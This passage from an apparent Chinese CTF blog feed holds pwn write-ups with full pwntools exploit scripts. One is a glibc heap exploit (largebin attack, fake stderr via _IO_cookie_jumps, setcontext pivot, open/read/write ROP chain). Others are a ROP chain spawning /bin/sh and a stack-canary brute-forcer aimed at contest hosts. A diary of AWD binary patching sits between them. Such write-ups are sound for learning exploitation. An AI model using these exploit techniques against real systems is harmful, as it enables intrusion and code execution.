title="布置rdx附近满足setcontext"></a>布置rdx附近满足setcontext</h3><pre><code class="python">#rdx-&gt;setcontextpayload = p64(0)*3 + &quot;./flag\x00\x00&quot;payload += p64(setcontex61)#call [rdx+0x20]payload = payload.ljust(0x68,&quot;\x00&quot;)payload += p64(heap_base + 0x1120+0x10+0x18)#rdi-&gt;./flagpayload += p64(0)#rsi-&gt;0payload = payload.ljust(0x88,&quot;\x00&quot;)payload += p64(0x100)#rdx-&gt;0payload = payload.ljust(0xa0)payload += p64(heap_base+0x430+0x10)#rsp-&gt;chunk 1payload += p64(ret)#rcx-&gt;retedit(5,0xb0,payload)sendit()</code></pre><p>根据setcontext+61，布置<code>rdx</code>周围，使寄存器满足条件</p><p><code>rsp</code>指向chunk 1，<code>rcx</code>指向ret，将栈迁移到chunk 1上</p><h3 id="orw-chain"><a href="#orw-chain" class="headerlink" title="orw chain"></a>orw chain</h3><pre><code class="python">#orw chainpayload = p64(pop_rax)payload += p64(2)payload += p64(syscall)#openpayload += p64(pop_rax)payload += p64(0)payload += p64(pop_rdi)payload += p64(3)payload += p64(pop_rsi)payload += p64(heap_base + 0x200)payload += p64(syscall)#readpayload += p64(pop_rax)payload += p64(1)payload += p64(pop_rdi)payload += p64(1)payload += p64(pop_rsi)payload += p64(heap_base + 0x200)payload += p64(syscall)#writeedit(1,17*8,payload)sendit()</code></pre><h2 id="payload"><a href="#payload" class="headerlink" title="payload"></a>payload</h2><pre><code class="python">#!/usr/bin/env python2from pwn import*context(os = &#39;linux&#39;, arch = &#39;amd64&#39;, log_level = &#39;debug&#39;, terminal = [&#39;tmux&#39;, &#39;new-window&#39;])def debug(cmd=&#39;&#39;):    cmd += &quot;b *$rebase(0x1289)\nb *$rebase(0x1536)\nb *$rebase(0x15a4)\n *$rebase(0x13dd)\n&quot;    gdb.attach(p, cmd)    pause()host = &quot;&quot;port = 0p = process(&quot;./pwn&quot;)#pt = remote(host, port)libc = ELF(&#39;./libc.so.6&#39;)pl = &quot;&quot;tls_offset = 0x3c0740def add(index, size):#size(0x40f,0x500]    global pl    pl += p8(1)    pl += p8(index)    pl += p16(size)def delet(index):    global pl    pl += p8(2)    pl += p8(index)defshow(index):    global pl    pl += p8(3)    pl += p8(index)def edit(index, size, str):    global pl    pl += p8(4)    pl += p8(index)    pl += p16(size)    pl += strdef sendit():    global pl    pl += p8(5)    p.sendlineafter(&quot;opcode\n&quot;, pl)    pl = &quot;&quot;def ROL(content, n):    num = bin(content)[2:].rjust(64,&#39;0&#39;)    return int(num[n:]+num[:n],2)add(0,0x420)add(1,0x440)add(2,0x440)#largebins(9)-&gt;fakestderr(after attack pointerguard)add(3,0x440)add(5,0x430)#(7)(8)-&gt;pointer guardadd(6,0x420)delet(0)delet(2)show(0)sendit()libc_base = u64(p.recvuntil(&#39;\x7f&#39;)[-6:].ljust(8,b&quot;\x00&quot;))-0x1f2cc0stderr_addr = libc_base + libc.sym[&#39;stderr&#39;]fixed_heap_fdbk = libc_base + 0x1f30c0setcontex61 = libc_base + 0x50bfdpoint_guard = libc_base + tls_offset + 0x30log.success(&quot;libc_base = &#123;&#125;&quot;.format(hex(libc_base)))log.success(&quot;stderr = &#123;&#125;&quot;.format(hex(stderr_addr)))log.success(&quot;setcontex+61 = &#123;&#125;&quot;.format(hex(setcontex61)))log.success(&quot;point_guard = &#123;&#125;&quot;.format(hex(point_guard)))add(4,0x410)edit(2,16,cyclic(16))show(2)sendit()p.recvuntil(&quot;daaa&quot;)heap_base = u64(p.recvn(6).ljust(8,b&quot;\x00&quot;))-0x880log.success(&quot;heap0_base = &#123;&#125;&quot;.format(hex(heap_base)))#attack stderrpayload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(stderr_addr-0x20)edit(2,32,payload)delet(5)sendit()#attack point_guartadd(7,0x430)payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(point_guard-0x20)edit(2,32,payload)delet(7)sendit()#largbin fixpayload = p64(heap_base+0x1120)+p64(libc_base+0x1f30c0)+p64(heap_base+0x1120)*2edit(2,32,payload)payload = p64(libc_base+0x1f30c0)+p64(heap_base+0x880)*3edit(7,32,payload)sendit()#prepare assertadd(8,0x430)delet(6)add(9,0x440)add(10,0x410)edit(6,0x420,cyclic(0x418)+p64(0x10))sendit()gadget = libc_base + 0x0000000000146020#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];ret = libc_base + 0x000000000002d446pop_rax = libc_base + 0x00000000000446c0pop_rdi = libc_base + 0x000000000002daa2pop_rsi = libc_base + 0x0000000000037c0asyscall = libc_base + 0x00000000000883b6#fake stderrpayload = p64(0)*3payload += p64(0xffffffffffffffff)payload = payload.ljust(0x78,&quot;\x00&quot;)payload += p64(libc_base + libc.sym[&#39;_IO_stdfile_2_lock&#39;])payload = payload.ljust(0xc8,&quot;\x00&quot;)payload += p64(libc_base + libc.sym[&#39;_IO_cookie_jumps&#39;]+0x40)payload += p64(heap_base+0x10) #chunk 0-&gt;rdipayload += p64(0)payload += p64(ROL(gadget^(heap_base+0x1120),0x11))edit(2,0xe8,payload)sendit()#rdi-&gt;rdxpayload = p64(0)#rdipayload += p64(heap_base + 0x1120+0x10)#rdx-&gt;chunk 5edit(0,0x10,payload)sendit()#rdx-&gt;setcontextpayload = p64(0)*3 + &quot;./flag\x00\x00&quot;payload += p64(setcontex61)#call [rdx+0x20]payload = payload.ljust(0x68,&quot;\x00&quot;)payload += p64(heap_base + 0x1120+0x10+0x18)#rdi-&gt;./flagpayload += p64(0)#rsi-&gt;0payload = payload.ljust(0x88,&quot;\x00&quot;)payload += p64(0x100)#rdx-&gt;0payload = payload.ljust(0xa0)payload += p64(heap_base+0x430+0x10)#rsp-&gt;chunk 1payload += p64(ret)#rcx-&gt;retedit(5,0xb0,payload)sendit()#orw chainpayload = p64(pop_rax)payload += p64(2)payload += p64(syscall)#openpayload += p64(pop_rax)payload += p64(0)payload += p64(pop_rdi)payload += p64(3)payload += p64(pop_rsi)payload += p64(heap_base + 0x200)payload += p64(syscall)#readpayload += p64(pop_rax)payload += p64(1)payload += p64(pop_rdi)payload += p64(1)payload += p64(pop_rsi)payload += p64(heap_base + 0x200)payload += p64(syscall)#writeedit(1,17*8,payload)sendit()#trigger assertadd(11,0x500)sendit()p.interactive()</code></pre><pre><code class="python">#!/usr/bin/env python2from pwn import*context(os = &#39;linux&#39;, arch = &#39;amd64&#39;, log_level = &#39;debug&#39;, terminal = [&#39;tmux&#39;, &#39;new-window&#39;])def debug(cmd=&#39;&#39;):    cmd += &quot;b *$rebase(0x1289)\nb *$rebase(0x1536)\nb *$rebase(0x15a4)\n *$rebase(0x13dd)\n&quot;    gdb.attach(p, cmd)    pause()for x in range(0x10):    for y in range(0x10):        try:            offset = 0x300740            tls_offset = offset            tls_offset += x &lt;&lt; 16            tls_offset += y &lt;&lt; 12            log.success(&quot;try offset:\t&quot; + hex(tls_offset))            host = &quot;&quot;            port = 0            p = process(&quot;./pwn&quot;)            #pt = remote(host, port)            libc = ELF(&#39;./libc.so.6&#39;)            pl = &quot;&quot;            def add(index, size):            #size(0x40f,0x500]                global pl                pl += p8(1)                pl += p8(index)                pl += p16(size)            def delet(index):                global pl                pl += p8(2)                pl += p8(index)            defshow(index):                global pl                pl += p8(3)                pl += p8(index)            def edit(index, size, str):                global pl                pl += p8(4)                pl += p8(index)                pl += p16(size)                pl += str            def sendit():                global pl                pl += p8(5)                p.sendlineafter(&quot;opcode\n&quot;, pl)                pl = &quot;&quot;            def ROL(content, n):                num = bin(content)[2:].rjust(64,&#39;0&#39;)                return int(num[n:]+num[:n],2)            add(0,0x420)            add(1,0x440)            add(2,0x440)#largebins(9)-&gt;fakestderr(after attack pointerguard)            add(3,0x440)            add(5,0x430)#(7)(8)-&gt;pointer guard            add(6,0x420)            delet(0)            delet(2)            show(0)            sendit()            libc_base = u64(p.recvuntil(&#39;\x7f&#39;)[-6:].ljust(8,b&quot;\x00&quot;))-0x1f2cc0            stderr_addr = libc_base + libc.sym[&#39;stderr&#39;]            fixed_heap_fdbk = libc_base + 0x1f30c0            setcontex61 = libc_base + 0x50bfd            point_guard = libc_base + tls_offset + 0x30            log.success(&quot;libc_base = &#123;&#125;&quot;.format(hex(libc_base)))            log.success(&quot;stderr = &#123;&#125;&quot;.format(hex(stderr_addr)))            log.success(&quot;setcontex+61 = &#123;&#125;&quot;.format(hex(setcontex61)))            log.success(&quot;point_guard = &#123;&#125;&quot;.format(hex(point_guard)))            add(4,0x410)            edit(2,16,cyclic(16))            show(2)            sendit()            p.recvuntil(&quot;daaa&quot;)            heap_base = u64(p.recvn(6).ljust(8,b&quot;\x00&quot;))-0x880            log.success(&quot;heap0_base = &#123;&#125;&quot;.format(hex(heap_base)))            #attack stderr            payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(stderr_addr-0x20)            edit(2,32,payload)            delet(5)            sendit()            #attack point_guart            add(7,0x430)            payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(point_guard-0x20)            edit(2,32,payload)            delet(7)            sendit()            #largbin fix            payload = p64(heap_base+0x1120)+p64(libc_base+0x1f30c0)+p64(heap_base+0x1120)*2            edit(2,32,payload)            payload = p64(libc_base+0x1f30c0)+p64(heap_base+0x880)*3            edit(7,32,payload)            sendit()            #prepare assert            add(8,0x430)            delet(6)            add(9,0x440)            add(10,0x410)            edit(6,0x420,cyclic(0x418)+p64(0x10))            sendit()            gadget = libc_base + 0x0000000000146020            #mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];            ret = libc_base + 0x000000000002d446            pop_rax = libc_base + 0x00000000000446c0            pop_rdi = libc_base + 0x000000000002daa2            pop_rsi = libc_base + 0x0000000000037c0a            syscall = libc_base + 0x00000000000883b6            #fake stderr            payload = p64(0)*3            payload += p64(0xffffffffffffffff)            payload = payload.ljust(0x78,&quot;\x00&quot;)            payload += p64(libc_base + libc.sym[&#39;_IO_stdfile_2_lock&#39;])            payload = payload.ljust(0xc8,&quot;\x00&quot;)            payload += p64(libc_base + libc.sym[&#39;_IO_cookie_jumps&#39;]+0x40)            payload += p64(heap_base+0x10) #chunk 0-&gt;rdi            payload += p64(0)            payload += p64(ROL(gadget^(heap_base+0x1120),0x11))            edit(2,0xe8,payload)            sendit()            #rdi-&gt;rdx            payload = p64(0)#rdi            payload += p64(heap_base + 0x1120+0x10)#rdx-&gt;chunk 5            edit(0,0x10,payload)            sendit()            #rdx-&gt;setcontext            payload = p64(0)*3 + &quot;./flag\x00\x00&quot;            payload += p64(setcontex61)#call [rdx+0x20]            payload = payload.ljust(0x68,&quot;\x00&quot;)            payload += p64(heap_base + 0x1120+0x10+0x18)#rdi-&gt;./flag            payload += p64(0)#rsi-&gt;0            payload = payload.ljust(0x88,&quot;\x00&quot;)            payload += p64(0x100)#rdx-&gt;0            payload = payload.ljust(0xa0)            payload += p64(heap_base+0x430+0x10)#rsp-&gt;chunk 1            payload += p64(ret)#rcx-&gt;ret            edit(5,0xb0,payload)            sendit()            #orw chain            payload = p64(pop_rax)            payload += p64(2)            payload += p64(syscall)#open            payload += p64(pop_rax)            payload += p64(0)            payload += p64(pop_rdi)            payload += p64(3)            payload += p64(pop_rsi)            payload += p64(heap_base + 0x200)            payload += p64(syscall)#read            payload += p64(pop_rax)            payload += p64(1)            payload += p64(pop_rdi)            payload += p64(1)            payload += p64(pop_rsi)            payload += p64(heap_base + 0x200)            payload += p64(syscall)#write            edit(1,17*8,payload)            sendit()            #trigger assert            add(11,0x500)            sendit()            r=p.recvuntil(&quot;flag&quot;)            flag = r+p.recvuntil(&quot;&#125;&quot;)            log.success(flag)            p.interactive()        except:            p.close()</code></pre>]]></content>
    
    
    <summary type="html">讲水课，恰大米</summary>
    
    
    
    <category term="CS" scheme="http://deepunk.icu/categories/CS/"/>
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="wp" scheme="http://deepunk.icu/tags/wp/"/>
    
    <category term="iofile" scheme="http://deepunk.icu/tags/iofile/"/>
    
  </entry>
  
  <entry>
    <title>ciscn2023 半决赛游记</title>
    <link href="http://deepunk.icu/ciscn2023%E5%8D%8A%E5%86%B3%E8%B5%9B%E6%B8%B8%E8%AE%B0/"/>
    <id>http://deepunk.icu/ciscn2023%E5%8D%8A%E5%86%B3%E8%B5%9B%E6%B8%B8%E8%AE%B0/</id>
    <published>2023-06-12T11:14:12.000Z</published>
    <updated>2026-05-27T12:52:23.538Z</updated>
    
    <content type="html"><![CDATA[<h1 id="6-10"><a href="#6-10" class="headerlink" title="6.10"></a>6.10</h1><p>飞往云南</p><p>东航的空乘小姐姐还给我送来一个生日蛋糕，泪目，还挺好吃</p><p>云大的赛场多少有点寒酸了，大门比我寝室门大不了多少</p><p>没网线转接器，去外面买。老板说不开发票90一个，开发票110</p><p>买了两个，这时西华的队伍也来买转接器。我们眼睁睁看着老板坐地起价，不开发票110，开发票130</p><p>晚上吃了红伞伞、白伞伞、黄伞伞，心满意足地等着小人教我打pwn</p><p>回去把unlink看完，小人还没出现，大抵是鸽了</p><h1 id="6-11"><a href="#6-11" class="headerlink" title="6.11"></a>6.11</h1><p>本来想的是Beethoven负责补补补，我负责杀杀杀，结果第一波题就给了我小小的震撼</p><p>一道是堆题，另一道也是堆题</p><p>我artist还没逆完，别人CNSS已经把洞补好了，急死我了</p><hr><h2 id="artist-patch"><a href="#artist-patch" class="headerlink" title="artist_patch"></a>artist_patch</h2><p>整道题的功能大概是，选项1分配一个80h的chunk，并读取不超过80h的输入；选项2将指定chunk内容输出并free掉，free之前可以更改chunk开头的10h字节；选项3是将某个chunk开始的第任意个字节置为NULL</p><p>整个程序中没有发现溢出，但是似乎可以利用3的功能实现对chunk header的改写，然后打一个unlink</p><p><img src="/../img/ciscn2023%E5%8D%8A%E5%86%B3%E8%B5%9B%E6%B8%B8%E8%AE%B0.assets/image-20230612194620801.png" alt="image-20230612194620801"></p><p><img src="/../img/ciscn2023%E5%8D%8A%E5%86%B3%E8%B5%9B%E6%B8%B8%E8%AE%B0.assets/image-20230612194711287.png" alt="image-20230612194711287"></p><p>但是因为开了Full RELRO，无法进行got hijacking，俺横竖想了半天也找不到劫持控制流的办法，但是patch还是可以做到的，只需要让更改的byte不超过chunk范围就可以了</p><p><img src="/../img/ciscn2023%E5%8D%8A%E5%86%B3%E8%B5%9B%E6%B8%B8%E8%AE%B0.assets/image-20230612195202307.png" alt="image-20230612195202307"></p><p>于是我将my_read中canary部分改写成rax与80h的比较跳转语句，成功patch</p><h2 id="over-patch"><a href="#over-patch" class="headerlink" title="over_patch"></a>over_patch</h2><p>本场唯一一道非堆题，怎么办怎么办我还是不会</p><p>逻辑很简单，有四个选项，前三个选项都是读入一个小于等于4的数，进行一通很猛的计算，然后将某个地址的内容修改</p><p><img src="/../img/ciscn2023%E5%8D%8A%E5%86%B3%E8%B5%9B%E6%B8%B8%E8%AE%B0.assets/image-20230612195909839.png" alt="image-20230612195909839"></p><p>选项4是将程序开头输入的名称再次输出。实现方法是：程序开始时把puts的plt地址放入某个地址，然后再调用这个地址。很显然，这里可以更改这个地址的内容，轻松地system(“&#x2F;bin&#x2F;sh”)</p><p><img src="/../img/ciscn2023%E5%8D%8A%E5%86%B3%E8%B5%9B%E6%B8%B8%E8%AE%B0.assets/image-20230612200128649.png" alt="image-20230612200128649"></p><p>所以patch也非常简单，只需要把调用地址改成直接调用函数就行了</p><p><img src="/../img/ciscn2023%E5%8D%8A%E5%86%B3%E8%B5%9B%E6%B8%B8%E8%AE%B0.assets/image-20230612200535096.png" alt="image-20230612200535096"></p><p>没想到这个patch折磨了我几个小时</p><p>首先，我的patch流程非常的原始，因为linux本找不到合适的ida，win本搞忘装wsl，我都是在win本上用ida进行patch，再用u盘拷到linux本上验证。这样操作u盘和接口都挺累的，Beethoven和Sparkl的u盘就是这样被玩得识别不了（</p><p>然后我发现，不管我怎么改，最后运行的时候都会segment fault。我以为是我的问题，于是尝试了各种方法：直接call puts、直接call my_write、把puts的plt再覆写到原位置再call（这个操作很长，需要jump到en_frame段），甚至我还试过在每次更改后都调用一遍初始化函数、把初始化函数放进while循环这些离谱操作，结果都是悲伤的segment fault。</p><p>我怀着沉痛的心情决定用gdb跑一遍，看看问题在哪里。于是我一路走下去，走到选项四，看到一行熟悉的汇编：jmp 0x……</p><p>我超，这不是我几轮之前的版本吗！我以为是我操作失误没有拷贝上，于是重新应用了一遍patch，重新拷过来，结果依旧能看到熟悉的jmp</p><p>此前，我一直是个坚定的无神论者</p><p>我用ida又应用了一份patch，然后用ida打开，果不其然，还是有jmp</p><p>我的ida烂了！</p><p>（严格来说，U盘也是烂的，后面我发现有时改动U盘文件，拔插后竟然可以恢复如初）</p><p>我抢来Beethoven的电脑，改了两遍就好了，call my_write，没有segment fault</p><p>喜闻乐见的是，我们交上去之后，结果是这样的：</p><p><img src="/../img/ciscn2023%E5%8D%8A%E5%86%B3%E8%B5%9B%E6%B8%B8%E8%AE%B0.assets/image-20230612203259477.png" alt="image-20230612203259477"></p><p>乐，折磨了我两个多小时的洞，改半天连关键点都没改对</p><p>我盯着代码看了半天，横竖没看到别的洞。</p><p>直到比赛结束前二十分钟，我还是不相信，怀疑是打包的问题，于是又打了一遍。准备再次提交时，我看到提交要求：patch脚本应命名为update.sh，我一直写的是over.sh</p><p>哄堂大笑了</p><p>樂</p><h2 id="over-getflag"><a href="#over-getflag" class="headerlink" title="over_getflag"></a>over_getflag</h2><p>没做出来，解法是shino教的</p><p>我一直以为那几个修改是什么高深的算法，一度唆使密码学大师Beethoven进行破解。他发现v5并没有用上，然后我们止步于此。事实上，整个算法都是障眼法，真正有用的部分只有：将<code> *((_DWORD *)&amp;qword_4060 + v3 + 12)</code>的内容减去读入的<code>my_read</code>，因为v3可以为负，可以直接修改存储puts_plt处的内容</p><p>实际上我最大的问题是把<code>qword_4060 += v4</code>这句误以为是地址会加上v4，于是认为v4会影响最后修改的地址</p><p>所谓逆向不规范，打pwn两行泪</p><hr><p>走的时候听见一个指导老师在跟队员说：你之前的作业又没有认真做吧，你看这次出原题了吧</p><h1 id="6-12"><a href="#6-12" class="headerlink" title="6.12"></a>6.12</h1><p>计划：上午逛云大</p><p>现实：11：30被电话叫醒</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>不会堆，我好菜（你以为你菜只是因为不会堆吗）</p><p>为了打patch补了一些汇编知识，对于一个只会f5的pwn手已经很难得了</p><p>学点逆向吧</p><p>CNSS好强</p><p>什么时候才能有钱换电脑啊</p><p>云南美女真多</p>]]></content>
    
    
    <summary type="html">IDA你真该死啊</summary>
    
    
    
    <category term="misc" scheme="http://deepunk.icu/categories/misc/"/>
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="awd" scheme="http://deepunk.icu/tags/awd/"/>
    
  </entry>
  
  <entry>
    <title>ciscn2023 pwn 宝宝题解</title>
    <link href="http://deepunk.icu/ciscn2023pwn%E5%AE%9D%E5%AE%9D%E9%A2%98%E8%A7%A3/"/>
    <id>http://deepunk.icu/ciscn2023pwn%E5%AE%9D%E5%AE%9D%E9%A2%98%E8%A7%A3/</id>
    <published>2023-05-29T15:26:54.000Z</published>
    <updated>2026-05-27T12:52:23.538Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>坐牢了，只会做baby题</p></blockquote><h1 id="shaokao"><a href="#shaokao" class="headerlink" title="shaokao"></a>shaokao</h1><p>整型下溢，然后有个栈溢出，直接用ROPgadget生成ropchain</p><p><img src="/../img/ciscn2023pwn%E5%AE%9D%E5%AE%9D%E9%A2%98%E8%A7%A3.assets/image-20230528173718539.png" alt="image-20230528173718539"></p><pre><code class="python">#!/usr/bin/env python2from pwn import*context(os = &#39;linux&#39;, arch = &#39;amd64&#39;, log_level = &#39;debug&#39;)def debug(cmd=&#39;&#39;):    cmd += &quot;b main\n&quot;    gdb.attach(p, cmd)    pause()host = &quot;123.56.251.120&quot;port = 36293#pl = process(&quot;./shaokao&quot;)pl = remote(host,  port)# debug()pl.recvuntil(&quot;&gt; &quot;)pl.sendline(&quot;1&quot;)pl.recv()pl.sendline(&quot;1&quot;)pl.recv()pl.sendline(&quot;-1145144&quot;)pl.recvuntil(&quot;&gt; &quot;)pl.sendline(&quot;4&quot;)pl.recvuntil(&quot;&gt; &quot;)pl.sendline(&quot;5&quot;)pl.recv()p = b&quot;a&quot;*40p += p64(0x000000000040a67e) # pop rsi ; retp += p64(0x00000000004e60e0) # @ .datap += p64(0x0000000000458827) # pop rax ; retp += b&#39;/bin//sh&#39;p += p64(0x000000000045af95) # mov qword ptr [rsi], rax ; retp += p64(0x000000000040a67e) # pop rsi ; retp += p64(0x00000000004e60e8) # @ .data + 8p += p64(0x0000000000447339) # xor rax, rax ; retp += p64(0x000000000045af95) # mov qword ptr [rsi], rax ; retp += p64(0x000000000040264f) # pop rdi ; retp += p64(0x00000000004e60e0) # @ .datap += p64(0x000000000040a67e) # pop rsi ; retp += p64(0x00000000004e60e8) # @ .data + 8p += p64(0x00000000004a404b) # pop rdx ; pop rbx ; retp += p64(0x00000000004e60e8) # @ .data + 8p += p64(0x4141414141414141) # paddingp += p64(0x0000000000447339) # xor rax, rax ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000496710) # add rax, 1 ; retp += p64(0x0000000000402404) # syscallpl.sendline(p)pl.interactive()</code></pre><h1 id="funcanary"><a href="#funcanary" class="headerlink" title="funcanary"></a>funcanary</h1><p>fork子进程崩溃不改变canary,利用该性质逐字节爆破canary,发现后门函数，直接覆盖前两位地址，第三位直接猜</p><p><img src="/../img/ciscn2023pwn%E5%AE%9D%E5%AE%9D%E9%A2%98%E8%A7%A3.assets/image-20230528173814568.png" alt="image-20230528173814568"></p><pre><code class="python">#!/usr/bin/env python2from pwn import*context(os = &#39;linux&#39;, arch = &#39;amd64&#39;, log_level = &#39;debug&#39;)def debug(cmd=&#39;&#39;):    cmd += &quot;b main\n&quot;    gdb.attach(p, cmd)    pause()host = &quot;123.57.248.214&quot;port = 25775#pt = process(&quot;./funcanary&quot;)pt = remote(host, port)pt.recvuntil(&quot;welcome\n&quot;)canary = &#39;\x00&#39;for k in range(7):    for i in range(256):        print &quot;the &quot; + str(k) + &quot;: &quot; + chr(i)        pt.send(&#39;a&#39;*(0x70-8) + canary + chr(i))        a = pt.recvuntil(&quot;welcome\n&quot;)        print a        if &quot;fun&quot; in a:                canary += chr(i)                print &quot;canary: &quot; + canary                breakprint &quot;canary: &quot; + canarypyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\x02&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\x12&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\x22&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\x32&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\x42&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\x52&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\x62&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\x72&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\x82&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\x92&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\xa2&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\xb2&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\xc2&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\xd2&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\xe2&#39;pt.send(pyload)pyload = &#39;a&#39;*(0x70-8) + canary pyload += &#39;b&#39;*8 + &#39;\x28\xf2&#39;pt.send(pyload)pt.interactive()</code></pre>]]></content>
    
    
    <summary type="html">什么时候出个签到题方向啊</summary>
    
    
    
    <category term="CS" scheme="http://deepunk.icu/categories/CS/"/>
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="wp" scheme="http://deepunk.icu/tags/wp/"/>
    
  </entry>
  
</feed>
